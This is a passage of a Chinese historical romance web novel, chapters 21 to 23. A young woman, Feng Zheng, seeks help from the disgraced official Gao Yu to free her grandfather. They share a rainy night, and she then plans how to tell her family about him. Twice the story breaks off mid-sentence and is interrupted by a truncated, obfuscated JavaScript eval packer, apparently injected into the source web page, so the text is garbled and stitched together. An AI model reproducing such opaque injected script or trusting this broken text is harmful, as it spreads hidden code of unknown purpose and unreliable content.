冯筝哭笑不得，“打交道……上刑受刑的交道吗？” 高蘅不知道，她从哪里得出这样的结论。请三郎插手的想法，原本还有些悬而未决，听到质疑，免不得又生出些底气。 “你有所不知，去年三郎能从诰狱转到大理寺狱，其中少不了洪徵明点头。洪大人断案严苛，从来不卖任何人情面，我一直怀疑三郎有他什么把柄，所以能够迅速脱险……” 话没说完，就看到冯筝闷着头跑了出去。 一种骇然的念头惊住她，高蘅连喊“筝娘”，心头的突跳在手臂被人拉住时震耳欲聋。 说话的是陪嫁的仆妇，“你就让她去吧——” “她嫡亲的祖父出了事，她不做点什么，心底只会更难过。” 高蘅望向窗外，脸上浮现出担忧和酸楚，府门前，冯筝扯出笠帽，一头扎进了雨幕之中。 砚巷的梧桐树随风摇曳，她一顶笠帽一件蓑衣，摸进了城郊劳亭以南的那间屋舍。 这间屋舍的概貌，早就听高蘅描述过，租主老妪是个哑巴，在隔院观雨，听她说姓冯后便摸出钥匙，拄着拐杖回去睡下。 之所以猜回去睡下，只因潜意识已经察觉到天黑。从府宅冒雨闯到这里，脚程大概一个时辰，很难想象平时这副拖累她的身体，此时竟也没觉得疲惫。 她推开屋门，里面陈设简陋，桌上摆着一副纸笔墨砚，没有被取走，覆着一层薄薄的灰。 冯筝坐下来，突然有些绝望地想到，哪怕此处养了雪鹞，需要他定期照料和打理，她却也隐约觉得，这里只是他安抚高蘅所设的幌子，他本人其实收不到音信。 或者收了音信也不会回应。 出于惦记祖父安危，她一时脑热，赌一赌所谓把柄的虚实，既然来了，还得先赌高豫能否理睬他们。 她脱掉蓑衣，摘下笠帽，静静坐在桌前，用自己的笔墨写了张字条，缠在雪鹞腿上后把它放飞。做完这些事，她就在屋檐前站着，寄希望于雪鹞能让她等来回音。 冷意漫过四肢百骸，一点点动静都能让疲困欲睡的她重新惊醒。 山林之中偶有啼鸣，当她再一次抬起头，还是一无所获后，重新戴上笠帽，抱臂坐在了石墩边，以防错过任何一点端倪。 笠帽宽大，其实足够遮风挡雨，但是离开屋檐庇护，视线清楚了些，四面当风的情况却更冷了。 忽闻马蹄声朝这边靠近，冯筝猛地抬头，马背空荡荡的，高豫灰袍素净，如一片静默雪原，走在黑蒙蒙的雨夜下，比任何灯火都要醒目。 冯筝倏地站起来，抖落一身水珠，砸在静默雪原，静谧而微小，却让他披衣跋涉的动作微微停顿。 说不清高豫是何时出现在面前的，他伞面破损，湿漉漉的水顺着伞骨重新浸湿他衣襟，摧毁他的神清骨秀，仓促晕开一片潮湿。 雨意湿重，压着他那双没有神情的眉峰。高豫一把丢开伞，依旧沉静拓然，冯筝如见救星，欣喜之情却陡然凝固。 她理智地退回屋檐下，扭头时已眼眶湿热。 “很抱歉用这样的方式来找你。” “但是高豫，我没有别的办法了。” 21. 第21章 高豫下衣摆湿透，一眼望过去如禅絮沾泥，雨线稠密，她理智退到屋檐下，他的表情才终于好看起来。 冯筝很无奈，当初来意坚决的人是她，此刻因为等待答复而踌躇不定的人也是她。 但倘若能够得偿所愿，让她再蹉跎两刻钟也不算过分。 今夜雨寒，他衣着狼藉了些却守约而至，冯筝将他请进屋，在一种主客颠倒的错觉里煎熬了小半晌。 这种错觉没持续多久，高豫烧柴煮水，柴薪迸裂的声响把她的忧思打断。 “你说的事我听明白了，先稍安勿躁。慎刑司既然做了围捕的打算，理应放不出漏网之鱼，你家小厮能趁乱逃出，可见他们松了手脚，做出此种变通，用意就是让收到报信的各家主动去赎人。” “扣留宾客只是严谨行事，他们走不到赶尽杀绝这一步。” “你父伯他们设法搭救，相信即日就能接到人，再者睦州离惠州不远，我明早也会让展青去惠州交涉。” 高豫说完，递来一碗热水，“这里只有粗瓷的海碗，冯姑娘姑且将就一下。” 冯筝微感困惑，有了高豫解答，这才知道，赏灯夜给他伴驾的人，就是睦州观察司的吏员展青。 见她理拢裙摆坐下，接过水碗，貌似接纳了现状，高豫扯来坐墩，隔着炭盆坐到她对面。 冯筝稍微心安，忍不住讲出伯娘的推断，“所以，三郎君真的有慎刑司大人的把柄吗？” 三司圆审的一套章程中，从来都是诏狱打头阵，慎刑司没能在限定时间里拿下他的签押，自罪书便成了一纸废稿。期间煎熬百味，高豫不想尝第二遍，搭上她好奇的眼，只是轻描淡写道，“脱险诏狱，靠的不过是硬熬罢了。” “倒是你，雪鹞没回来就是信未送至。外面雨势大，出来等我又是何必？” “需知道任何紧要关头，照顾好自己都是最重要的。届时冯公安然归来，得知你冒雨寻我，把自己搞成这副模样，他日再有机会登门，我也无颜面对冯公。” 冯筝捧着海碗没有说话。 海碗是隔壁借来的，那时老妪看到高豫出现，脸上的惊讶不像是演的，可见他租下屋舍后很少踏足这里。 这样一想，她对他搭理不到雪鹞的顾虑便很合理，出于关心则乱而冒雨等他，也不是什么天大的错。 冯筝静静垂眸，眼底，他前倾的身影被火光烘出绒边，冯筝惊动抬头，却见他只是手持钳具把柴火拨明。 她坐僵的身子不轻快地扭了扭，然后就听见他询问。 “需不需要我去给你借一身衣裳？” 哪怕一路上有蓑衣敝体，她现在的情况也不比高豫好很多。来时路上，雨珠穿过笠帽的缝隙淌进衣领，经他提醒，她才注意到，脚边的裙摆也还没干透。 这还不是最难受的，小衣湿哒哒地贴在身上，就这样坐等一宿怕是得着凉。 冯筝抿了抿唇，想到他吵醒老妪后，只怕又得赔礼致歉，还是拒绝道，“这样晚了，不能总是打扰婆婆，我靠炭盆近一点，一会儿就能烘干。” 高豫看出她不舒服，已经尽到了提醒义务。 原以为这事不会再有后续，但他看着她强撑，结果反而露出笑容。 “距离天明时间还很长，你这样扭来扭去我也没法静心，不如商量商量，我身上还有多余且完好的衣物，如果你不嫌弃，就用我的将就一晚，待天明前换回来，应该不影响冯姑娘清誉。” 衣物多少不好证明，高豫翻出袖口给她看。 冯筝没多想，竟也实打实地凑了上去。 他的袖角堆着三层袖料，越往里数，织料越绵密，最外层的灰袍她不能要，贴身的底衣也不能选…… 高豫俯视喟叹，“你还挑起来了？” 冯筝脸色一臊，绕开他后赶紧答谢，“那就多谢三郎君了。” 接过他中间那层云衬，冯筝贴身穿着，再套上已经烘干的裙衫，换好衣裳后出来，整个人感觉无比舒展。 他的衣裳偏旧，也是真的柔软，穿旧了的衣裳亲肤适体，冯筝手捧海碗啜饮热水，忍不住发出一声舒服的吟叹。 这一吟叹可不好，好像不太在乎祖父的安危，她便收敛眉目，和高豫面对火光话平生。 炭盆中的火苗温吞而明昧，像由松枝引焚，鼻尖可闻干燥清爽。 冯筝静静一怔，城郊荒芜，哪来的松枝？ 视线顺着他衣襟流连，然后转到自己身上，望着那片因为底衣宽大而露出的袖角，冯筝忽然悟到了什么。 近日阴雨连绵，各家洗晾好的衣物多用竹笼文火慢烘，有条件的门户，还会在竹笼底下燃松炭驱虫，很显然，碧城胡家聘他为西席，在起居上不曾苛待过他。 当所闻清香有了出处，她忽然感到一种前所未有的平静。 高豫之于胡家，并非什么不可或缺的角色，却在慢慢被他们习以为常。当主客之别模糊起来，属于异乡客的特征也在日渐相处中逐渐磨失。 他拨弄柴薪的动作，熟练得像很早以前就这样做过。看到高豫驾轻就熟地将柴火拨热，仿佛比重逢时更加亲切了几分，冯筝没再一如既往地跟他客套。 她问出了以前会觉得唐突的话，“三郎君在睦州领职察访时，过的也是这般简朴甚至寡淡的生活吗？” 她明确过问他某段履历，确实让高豫微感意外。 高豫缓慢坐起，不知道冯家溯及祖上，三代都不曾进举中枢，更不知道沾樊楼的光，饱览过平仕图视觉盛宴的她，面对自家贫瘠可考的族谱，一位现成的前司衙要员当前，做不到一直按捺住好奇。 但他对此无甚介意，径自解答她的疑惑，“不全是。” “观察使奉上命勘察纠错，于必要之时进驻官衙，疏通上意。偶尔风光的排场背后，日常职事，大多是为了固定证据而反复进行的摸排与察访。” “职事重复枯燥，如冯姑娘所言，寡淡不可避免，但当有一日，能与身边同僚共襄盛举，将封漆印拓的卷宗直抵御前，披露不端，亲手为辖地攘除奸凶、肃清纲纪的时候，那种披肝沥胆的快意，以及辛劳被尊重的欣慰，是毕生都值得珍重的感触。” 很冠冕堂皇的一副腔调，冯筝不满足，暗怪刍荛圆滑，紧接着追问。 “观照往年国史，豁免连坐者屈指可数，能够将功折抵五年牢狱之灾，反推三郎君功绩，想是做成过许多事业的吧？” 至此，高豫再迟钝也该听出不对劲来。 他微抬的眸光凝向冯筝，坐姿安之若素，眼神却已微变，想这通情达理的姑娘一改常态，问话直接捅他要害，很难不显得此话是在刻意为之。 只是她的眼中全无恶意，甚至对某种答案有着近乎执着的期待，高豫助她遂愿，给出他的下文。 从解决州衙“三冗”到重振州境军备，高豫自问有所建树，就连对民间税负问题这唯一的遗憾，也在殿试场的答时务策中得到了释怀。 长达四年的任期，在他简单的概述中接近尾声，几桩政绩讲下去，最终被他归结为一句“年少无为，多的是不值一提的事”。 冯筝不知道他在高蘅面前，曾自诩一介微末之身，如果那时她听见了，肯定也会像现在这样，很难想象如他这样端然无匹的人，人前也会自比微薄。 原本以为这是谦逊使然，毕竟出身司衙要员的他，作为满朝朱紫的后继新秀，即便一朝落魄，也未必真的就自视微末。 可当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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气氛陷入凝滞，高豫半开玩笑，“穿着我的里衣，还有闲情审我的过去，冯姑娘，冯公就是这样教你尊重大善人的？” 冯筝一整个愣住，脸颊染上羞恼，在嗔怪他插科打诨和邀请他回屋之间，仍然选择了后者。 “大善人恕罪。” 诸司司属要员，身边大多配有亲随，如今知道了展青不是亲随，她才迟迟意识到，当初他甚至还没来得及培养自己的亲信，就被停职卷入了科场案是非。 冯筝不清楚时辰的变化，面对屋外雨势，起初还有种时间拖得越久，天地越来越暗的不安。 此刻一室两人，昏昏灯火话平生，高豫半幅容颜隐没在暗光中，她便为这近乎昏聩的昏暗而感到郁怒。 她有想过掩饰一下情绪，但她显然不精于此道，刻意柔软的神情冲撞眼中躁郁，只会让她看上去更加拧巴。 在那句“怎么就不会呢”之后，高豫等着她说出点名堂来，当预想中的后文被她眼中的郁结所取代，高豫得以见微识著—— 在这场潦草收场的夜话中，两人貌似颠倒了角色，对于陈年旧事，本该满腔遗恨的人是他，而她合该无关痛痒。 可她挽言替他不值，替他埋怨着不公，反观本尊却一副慈悲宽恕的尊容，高豫易地而处，察觉到一丝残酷，随即以一种始料未及的态度说道“幸好”。 “那段时日过的很快，快到感觉不算难捱，期间我遗憾过，怨怼过，幸好在我最困难的时候，也曾遇到过很多难以言明的善举。” “他们助我脱困，使我及时脱险，有赖于此，我才有机会，为挽未亡人而发声和争讼。” 雨声磅礴，高豫露出体贴的笑，“这样一看，我的经历，不算糟糕。” 22. 第22章 昏暗的雨夜，高豫阳煦山立。 他的笑意发自肺腑，柔情溺在眼里，仿佛生来豁达自适，善于适应很多挫折。 他能忍常人所不能忍，看开常人所看不开的事情。说实在话，他在地方权垄中稳扎稳打数年，沉淀出这份心性挺正常的。 可她审视着他沉静的模样，心情反而越来越消沉。 人果然不能轻易和他人的苦难共情。 本来还想说些什么，一时间也不确定，是要配合地附和他“确实万幸”，还是要由衷地祝福他未来顺遂。 后来，高豫在屋檐下守了一夜，冯筝迷迷糊糊睡了一觉。梦里她变成一名酷吏，蹲在高豫脚边，问题还是那三个问题，手中的海碗却变成了刑鞭。 刑鞭上沾满浓稠的血，她眼都不眨一下，捧着由他签押的罪状，眼尾弯弯地献给了上座高官，回头嘲讽他。 “高大人还是输给我们了，这般知无不言言无不尽，看来和那群窝囊废一样，所谓殊死顽抗的铮臣也不过如此嘛。” 高豫如同玉山将倾，仿佛快要熬不过去，大有一种哪怕命他敛袍长跪，也能面不改色照做的样子，深深刺痛了她的双眼。 但她嘴上仍不饶人，言语奚落他，绳索捆缚他，亲眼看着他挺过鞭刑。她退后两步，勾着自己整洁雅致的翘履鞋尖，做尽可恨的事，却不让裙边沾上半点污秽。 而他支起将倾的身躯，回答了她一句话，一成不变的口吻，把在场酷吏钉死在原地。 也让迷迷糊糊的她醍醐灌顶，夺过上位者手中的自罪书，任性一般撕得粉碎。 梦境很荒唐，睡前还消沉着的心情，醒来时已经毫无负担。望着自己空空的手，冯筝大汗淋漓，知道梦里的事不会发生，也还是忍不住有些颤栗。 她穿好鞋推开门，缓慢走到墙根边，很安静地看着他的睡颜。 高豫胸膛起伏，鼻息平稳又清冽，满满都是安稳，好一阵，她终于托着腮笑意盈盈，呢喃地祝愿他。 “高豫，你以后，不要再过得那样惨了。” “也不要轻易对一名女子心软，哪怕是我也不行。” “用你的话来说，任何紧要关头，照顾好自己都是最重要的……” 屋里没有绒毯，她就把棉被下的被单折成披毡，盖住他后悄悄回屋。 后半夜一觉睡到天明，外面传来高豫道谢的声音，谢的不是她——隔壁老妪端来早食，松软的馍馍配清淡的米粥，让她顿时就有点饥肠辘辘。 冯筝谢过老妪，中途忍不住瞟了眼高豫。她半夜起过一次身，后来索性和衣而眠，所以此刻衣着还算完整。 冯筝捋了捋微乱的发丝，想当年隔着屏帷，他们都照样相处过许多夜晚，没道理因为境遇改变，自己就变得扭捏起来。 她拿起昨夜卸下的梳篦，大大方方给自己梳戴。 高豫目不斜视，臂弯揽着那件被单，无声放下，跟随老妪离开，走之前才对她道，“换好衣裳便出来一趟吧，我有事要跟你商量。” 冯筝领会到，他说的应该是“换自己的衣裳”。 一晚上的时辰，小衣已经烘干，此刻也服帖地穿在身上，她哑然失笑，回到遮屏后拿起那件云衬，出门还给他。 似是想到了什么，她的动作微微停顿，高豫看出她的迟疑。 “你想把它焚了，我也不会有二话。” “哪里的话。”冯筝也不纠结了，赶紧还给他，“三郎君体谅我的难处，好意清清白白，我怎能扭捏顾忌地想东想西，把你跟那种心思不纯的人和事情想到一处去。” 云衬毕竟贴身穿过，为什么扭捏并不难猜。这话前半段还好，后面的话一说就更像有什么了，看到高豫凝眉，尝试理解她指的是哪种心思不纯，冯筝就催促他说商量何事。 “不用打岔。”高豫收下了云衬，冯筝恹恹回眸。 “正好我想说的事和这个相关。” …… 清晨的时候府里的马车赶到，冯筝迎上前去，双方见面都有些惊讶。 高蘅掩面感叹，“我以为你瞒着家里跑出来，至少带着仆妇作陪，筝娘啊，伯娘真是小觑了你的胆量。” 冯筝挽住她，“伯娘放心，这处院落有隔壁的婆婆在照看，得她照顾，我既没挨饿也没受凉。” 高蘅点点头，环顾四周，“如何，三郎还是没有来吗？” 冯筝遗憾地笑了笑，“没关系，我通过雪鹞收到了他的回信，三郎君答应我们，会跟慎刑司的大人交涉，出力保祖父平安。” 高豫和她提前商量过一遍说辞，把共处一夜的事情瞒住，这样一来，对两人的清誉都好。 冯筝预料过，自己贸然离开的事藏不住，家里或早或晚都得来接，却没想到蘅娘会亲自出现。 高蘅告诉她，此时府里忙成一锅粥，对她离家的情况还一概不知，冯筝微感疑惑，又觉得这样也好，免得爹娘替她担惊受怕。 她靠在车壁闭目养神，高蘅让仆妇给老妪送去银钱答谢，回府路上，对她几乎挪不开眼。 当初的把柄一说还只是猜测，她自己都没有把握证实，筝娘却能为冯公做到这份上，祖孙挂碍之情，很难不令人动容。 惠州距离宣州不远，但要回到其腹地的宣城，远不是两三天就能走完的路程。 冯公平安回府的那天，门前撒了芝麻秸和桂皮，冯公踩碎而过，成的是摒除祸祟，祈求安康的寓意。 众人陪冯公一路回到内宅，以前清静整洁的寝堂，此刻满满挤了两房的人，你一言我一语地嘘寒问暖或者说事，冯公躺靠在床榻上连连摆手。 “你们有事要讲，一件一件来说，鸟雀一般啁啾叫着，闹得我脑仁儿生疼。” 冯公说这话时精神很足，他语气嫌弃，两房家眷却接连蓄泪，冯公笑呵呵道，“好了，我这不是没事了吗，左右虚惊一场，没让你们给我接风洗尘，难道还要我这把老骨头，先给你们喂定心丸？” 冯承纲见状，把伺候的人都挥退出去，屋里顿时静了一些，听到冯公提问，冯承纲回答了这段时间家里的情况。 冯公知情后，冯承琨便接着道，“父亲能顺利回来，多亏了大哥在前面疏通和斡旋，大哥劳苦功高，父亲不问，这话我也是必然要讲的。” 冯承纲谦虚回绝，坐在冯公手边的椅凳上，“儿子不敢居功，那惠安郡的郡尉跟我是同窗，此事要仰仗他的帮忙。” 说完又觉得疑惑，“不过怪就怪在，我们到惠安郡见到刑差时，并没有费什么唇舌，只用度牒告知了我等来历，刚说姓冯，那边银钱都没收，慎刑司的刑差就放了人。” 孟夫人也觉得奇怪，“这么顺利？我可是听说，那校书郎家的老爷来接人，塞了满满三个荷包才搏到他们一个眼神呢。” 冯承琨揽住夫人，“或许不同的人情况不同，咱爹素来清白持家，不管什么罪名，应该都是一群宾客里最没有嫌疑的。他们慎刑司要捉逆贼，这话在屋里讲讲就算了，以后可不好再去说嘴。” 孟秋身侧，冯筝黛眉微蹙，暗想慎刑司的刑差手段黑，心也一般的黑，看到钱财才肯施舍一个眼神。 如此嚣张跋扈，高豫派去展青交涉，能让他们行这样的方便，对冯家人这样好说话，看来观察司的分量确实不轻。 一盏茶的时辰，屋里的人各自说完话，让冯公安心歇息，渐渐走得差不多了，冯筝却逗留着迟迟没动。 冯公眼神熠熠精明，猜到她有事要说，这就把她招到近前。 冯筝笑着卸下床帐，“不着急，不是什么大事。祖父刚回来，肯定正疲惫着，您躺下休息，我给您摘了帘帐，咱们隔着帘帐，你睡你的，我说我的，您应该就不会太费神了。” 能让她这样藏头露尾，说不是大事那都是扯谎。 冯公乖乖躺下来，一筹莫展之际，听到冯筝突兀地问，“祖父还记不记得，阿伯娶亲那一天，我在庭院前晕倒的事？” “当然记得了，你那样一倒，被你娘丢下的宾客们好一顿面面相觑。” “那么祖父知不知道，在我晕倒前，高郎君见到我的第一面，说了句什么？” 察觉冯公沉默下去，冯筝解答，“他对我，讲他他乡遇故知的喜乐。” “所以阿伯娶亲那一晚，在膳堂的喜宴散场之后，我跑到了高郎君的客院跟他叙旧，说叙旧其实不准确，因为那个时候我还嘴硬着，没有跟他相认。但现在不一样了，或许我早就该告诉您的，他就是三年前，我颠沛襄阳时救下我的善人。” 冯筝没再隐瞒，把三年前和高豫相识的往事和盘托出。帘帐里陷入很长一段寂静，她知道祖父大概惊得说不出话，事实也差不多如此。 冯公眉峰横跳，险些鲤鱼打挺般坐起来，难以置信过后，眉峰已经缓慢拉平。 他声音平和却沉稳有力。 “哦？瞒了这么久的事，怎么现在就舍得坦白了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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出于名节考虑，当年突逢祸事的经历还是秘密，阖府只有双亲、伯父，以及祖父知晓，就连间接酿成祸事的表姑母那边，也以为她只是半途生病而折返。 而她遵照自己的意愿坦白一切，不过是希望亲人们能善待他，礼待他，若能在她照拂他的时候，不胡乱嚼舌根就更好不过了。 轻易就能说开的实情，平白惹上这么多顾虑。冯筝受阻，额心微拧，越发觉得早在三年前返城的时候，她就应当将落难的经过和刍荛的存在一起说清楚。 若非此前不知他姓甚名谁，意外重逢后，又在百般拖沓中失去先机，她又怎么会这样被动？ 冯公豁然笑起来，知道她避开二房，单独跟他挑明这些，就是想长幼提前通个气，让他出面说一说公道话。 “好了，阿筝暂且不要四处声张，二房那边，便交给祖父来讲明。” 闻言，冯筝哪里还有不满意的。 想起这两天在府里走动时，听到一些碎嘴的议论，谨慎起见，觉得有些事还是预先说明白比较好，也能进一步争取祖父信赖。 “祖父放心，我知轻重，懂荣辱，反而若是有不实的谣言传到您这里，您也莫要偏听偏信。高郎君品行端庄，曾经接济我的时候，跟我之间清清白白，以前这样，现在也一样，由不得旁人随意歪曲。如果您对我的话持有疑虑，我大可请三郎君来当面对证。” 对证是不可能对证的，高豫说要两清的话现在都还没有收回。 冯筝底气不够，随意蒙混过去，偏偏冯公当了真。 “既然是这样就好办了。你娘她们刚刚说，明早要去香积寺还愿，大抵能赶在晚膳之前回来，我瞧那会儿时机不错。” 冯筝面露疑惑，冯公暗示她。 “而我被禁足在惠安郡时，就收到了高三郎的探望信，我请展郎君替我转述，说我无以为谢，回府后只能请他来吃惠安的酥糖。” 他说完从袖袋里掏出糖裹，穿过帘子伸出手。 “这么小的谢礼他肯定无法拒绝，如今我回来的事情，福登已经散播出去，所以阿筝，你要什么时候去找他？” 冯筝眼瞳细微一动，在这瞬比棉絮还要轻的惊动之中，突然到来的意会使她很快苦恼起来—— 祖父阐明高豫动向，透露他大有可能前来接糖，无非是想让她提前知会高豫，抽空与她做个对证。 驱车时两清的建议，茶铺里的几句夜谈……种种画面，在脑海里搅成一团浆糊，当时含怨跳车都没让他松口，现在想让高豫配合她给她帮腔。 冯筝思考了下可能性。 还是做梦来得快些。 23. 第23章 福登这些时日，忙得有些抽不开身。 脸颊上的伤是溜出寿堂的时候蹭到的，刑差们刀不长眼，剌到他的时候他也忍着不敢痛呼，虽然看着骇人，结痂后等待痊愈就好了。 他循路回到院落，向冯公复命交待的事，远远就看到姑娘在垂花门前翘首以盼，瞧着似在等人。 直到迎着他的面走过来，福登才意识到姑娘是在等自己。 以为姑娘可能有事要问，没等说什么，怀里就塞进了一只瓷瓶。 冯筝叮嘱他，“这是雪肌散，用来治疮疤的，跪审堂回来的时候我用过，效果还不错，你早晚各外敷一次，等到了冬天，差不多就能好全了。” 福登惊惶不已，“姑娘快快收回，小的皮肤糙，配不上用这样精细的东西。” 冯筝摇头又劝，“你的功劳，大家可都记在心底，祖父没提起，却也知道是怎么一回事。这药算是赔给你的，你年纪还轻，又是签了契的家仆，以后出去是要配娘子的，顶着这样的伤疤，岂不是要惹小娘子取笑？” 她面色如常地提起这些，仿佛把跟前小厮当自家人看待。福登颇感动容，然后又听到她和气地讲，“当然，还得劳烦你替我跑一趟碧城。” 福登惶惑道，“姑娘要我去做什么？” 关于冯公回府的消息，福登已经散播出去，冯公请高豫来吃惠安的酥糖，却没在意高豫会不会把它当客套话翻篇。 前阵子，吴嬷陪二房去胡府做客，知道碧城胡家的府址所在，她把打探到的府址写成字条，交给福登。 “冯公的目的你也明白，想请高豫吃惠安的酥糖，答谢他帮忙疏通刑差。以免高郎君那边会错意，把这谢意当客套话翻篇，咱们不如把这事做实。与其朦朦胧胧地散布消息，引他来见，不如直接送信过去。他看到你，知道这是祖父的授意，想必就会主动登门了。” 姑娘的吩咐，和冯公的交待殊途同归，这样一算，办的就是同一件事，福登当即答应下来，扭头去办。 于是冯公回府这天，冯筝再没出去过一步路，隔天一早，她又陪母亲和伯娘去香积寺还愿，圆谢前些时候，在菩萨殿求得冯公安康。 庙里香客云集，两位夫人在前边捐香油钱，冯筝在庙殿的廊柱下看签文。 都说香积寺的姻缘签灵验，冯筝眼神轻晃，却觉得自己抽到的，与其说是姻缘签，不如说更像是一条出行签。 签文“莲步远赴路，一程解忧渡厄，绵福有所寄”指代晦涩，姻缘顺不顺还未可知，感觉却像得出远门。 冯筝想了想，嫁去碧城，姑且也算出趟远门，不确定还有没有必要找高僧解签，迟疑间，一个身穿对襟衫的婢女蹭到了身边。 婢女鹅蛋脸，经她提醒，冯筝便记起这是在她闺院当值的云燕。 云燕鼓着嘴附耳道，“姑娘，最近府里，有些下人躲闲的时候拿您说嘴，奴婢听了都觉得刺耳。莫怪奴婢疑心，总觉得您该提防下身边，毕竟有的人侍奉二主，一不小心，把姑娘的私事捅出去也不无可能。” 云燕意指谁，冯筝哪里听不明白。含笑示意知晓，知道这些碎嘴子，因她赠笔墨砚块的事，前些天嚼舌她对高豫不一般，这样闲得慌，是得好好敲打敲打。 来不及料理这些，吴嬷就来催促她回府，后来，冯筝还是没有跟母亲她们一道回去。 她捏着签文找僧人解签，僧人语焉不详，并未让她悟清楚更多，索性破罐子破摔不去计较。反正不管谁抽到签，或抽到什么签，他们都能讲出份道理，重在听者信与不信。 回到府邸后穿过回廊，往前就是闺院。如祖父所言，她欲将刍荛的善举过一遍明路，今晚就是个合适的时机，猜到晚膳前后高豫会来访，这就回去准备准备。 前头的仆妇四处洒扫，一边也说着话，隐隐约约听到什么，冯筝停了停。 “这符家的管事早不来晚不来，偏偏在府里摆家宴的时候来，府里给老太爷接风洗尘，他从淮阳到这里，倒是蹭得好一顿洗尘宴。” “是啊，我没记错的话，淮阳是在淮州吧？这大老远的不请自来，算上三年前那趟，可就是第二回了。上回他们请姑娘去侍疾，过去这么久，什么病都该好了，难道符夫人又记挂姑娘了？” “没准是呢。不过，有的事可不好说绝了，谁知道符管事是不是不请自来。” “这还用得着猜嘛，二夫人瞧见他时脸色可冷了，不知道的，还以为来的不是亲戚是冤家呢。” 她们抄着竹笤和扫帚，有一搭没一搭地聊闲天，听到吴嬷喊停，连忙抄起扫帚干活，地皮都能掀起来。 前堂摆座招待来客，两位夫人珠冠绾发，锦帛缠袖，打量着这位符府管事，心思各不相同。 符老原是勋戚出身，履政之年常收纳门徒，桃李遍布朝堂，而他被敕封乡君的夫人，系冯家两房的族支表亲，两房老爷都唤她表姐。独子符邺刚成家不久，官职不起眼，直到符老晚年就木，才替亡父扶柩归乡。 符府的管事随主姓，此行受符夫人差遣，请冯姑娘到淮阳一叙。符管事态度恭顺，端起茶汤斟酌着说辞，谁料茶汤辛辣，把他呛得连连咳嗽。 孟秋：“辣吗，辣就对了。” 高蘅找补，“二夫人是说，咱们一样觉得辛辣呢。” 来者毕竟是客，孟秋扯出笑容，表示招待不周，又解释称女儿出阁迫在眉睫，库房那边点检嫁妆，偶尔忙中出错，放错了待客的茶也情有可原。 符管事笑道无妨，即便猜得出，他和她们茶盏里的恐怕是两种茶，也妥帖受下没有多问。 孟夫人敲打他，让他清楚，不管是该提的不该提的，最好掂量着点再说话。符管事也没辙，符家为表诚意，特地派他登门，明知待嫁女不方便探亲，他还是得把话带到。 果不其然，孟夫人脸色瞬间拉下来。大夫人高蘅在一旁周全礼数，留客用膳，符管事识趣告辞，临走前描述符夫人如何记挂侄女，还望冯家考虑一下。 闺院中，云雀正指点着婢女，修剪斗拱边那簇雨过疯长的梧桐枝桠，冯筝坐在书案前，托腮望着窗外，细眉云卷云舒。 片刻前，吴嬷按照她的吩咐，依照云燕的意指，把背地里传她闲话的仆婢粗略筛了一遍，其中并无云雀的存在。 冯筝收起疑心站起来关窗。一来一回，吴嬷听说了前院用椒子茶待客的手段，说到她近前。 冯筝抿唇不语，母亲行事柔婉，素来与人融通情面，唯独在符家这件事上，强硬地有些超出她预料。 好在她也无心出这趟远门，安心等着夜幕降临。 今晚的事她都安排好了，福登去碧城捎信，回来的时候刚好能和高豫一道。 她提醒过福登先拖住他。晚膳前后，她借符管事的出现，把思念表姑母的想法提一提，委婉试探一下探亲的可能。 可能性不大，大概会被否决，届时她便可以顺藤而下，说自己遭遇过贼匪也长了记性，答应安分地在家中守嫁。 需要答应得勉强一点，然后就可以替远方的表姑母挤出两滴苦情泪，也替过去遇匪的自己哀婉一遍，把哀婉终止在襄阳崇祝寺，继而把他和刍荛的交情一并说出来。 祖父答应她，会替她把此事讲明，有他主持公道，不怕往事会被怀疑虚实。到时候，家中对高豫感激涕零，高豫一到，由不得他愿不愿意，只能硬生生接下这份答谢。 情景在脑海里预演一遍，过去那点遗憾，圆满得令她抚掌称赞。 时辰渐渐晚了，夜色洇进砖路每一寸缝隙，一簇簇灯笼贴近又远去，砖路上恢复了浓黑寂静。 膳席已经结束，府门处迟迟没传来动静。冯公没打算等，似乎也不在意，他欲提的事超出了规划，他把众人叫到前堂，安坐下来，对着二房语出无奈。 “当初景仁元年榷税改制，试行遭遇地方阻力，郡地里很长一段时间都不太平。那时你们老夫人早逝，孟氏又全心辅佐承琨秋闱，是符家主动讨要年幼的阿筝，带过去学礼识节，让她到淮阳躲一时安宁。” “符乡君教养阿筝数年，对她有些感情，三年前的事是个意外，如今符家遣人邀见，你夺了她这舐犊之情，未免苛刻了一点。” 后面的话是对孟秋说的，孟夫人听出敲打之意，面庞带着得体的笑。 “两房老爷在外当值，父亲不怪我自作主张，儿媳已是感激，只是当初若非她符家一纸催请，路上又没给个接应，怎至于叫阿筝横遭匪祸。如今旧事掀篇，儿媳能够看开，唯独探亲这事，我不能应。” 女儿接连两个月下落不明，当年苦楚，她这个做母亲的感触最深。 过去的祸事是个秘密，需把符家一块蒙在鼓里，她知道自己不该迁怒，可一想到他们懵着脑袋什么都不知情，还理所应当地又来邀约，她有气没处撒，可不就用椒茶摆了管事一道。 冯承琨晚膳前才听说符家来人的事，见夫人执着，短暂没有表态。长房觉得插不上嘴，不知冯公把他们一起留下是何用意。 冯公唤到冯筝，欲听她的想法，冯筝等来了机会，腹稿信手拈来，起先探亲意笃，对上母亲失望的脸，她便及时做出退让。 “我再记挂表姑母，到底还是跟娘最亲，娘的打算就是我的打算。而且我这个人实在没胆魄，遭遇过贼匪也长了记性，知道好好待字闺中，安分一点才能保自己安稳。” 说着，掏出手帕在眼角狠狠蹂躏了一下，摘帕之时眼睑微红，像想起了旧事而痛惜起来。 “只可怜表姑母以后无缘见我，也可惜当年的我在匪贼手中，白白遭了一遍罪，害得我和表姑母自此亲缘浅薄。好在曾经符家来信，让我知道了表姑母安康，无需晚辈侍疾，也好在落难襄阳的时候，福报让我遇见了善人，我这辈子瞒着娘的事情不多，这个就是其中一桩……” 眼看女儿越扯越遥远，孟秋音容转沉，接着触动她隐忧的某句话道，“你瞒着娘的事又岂止这些。” 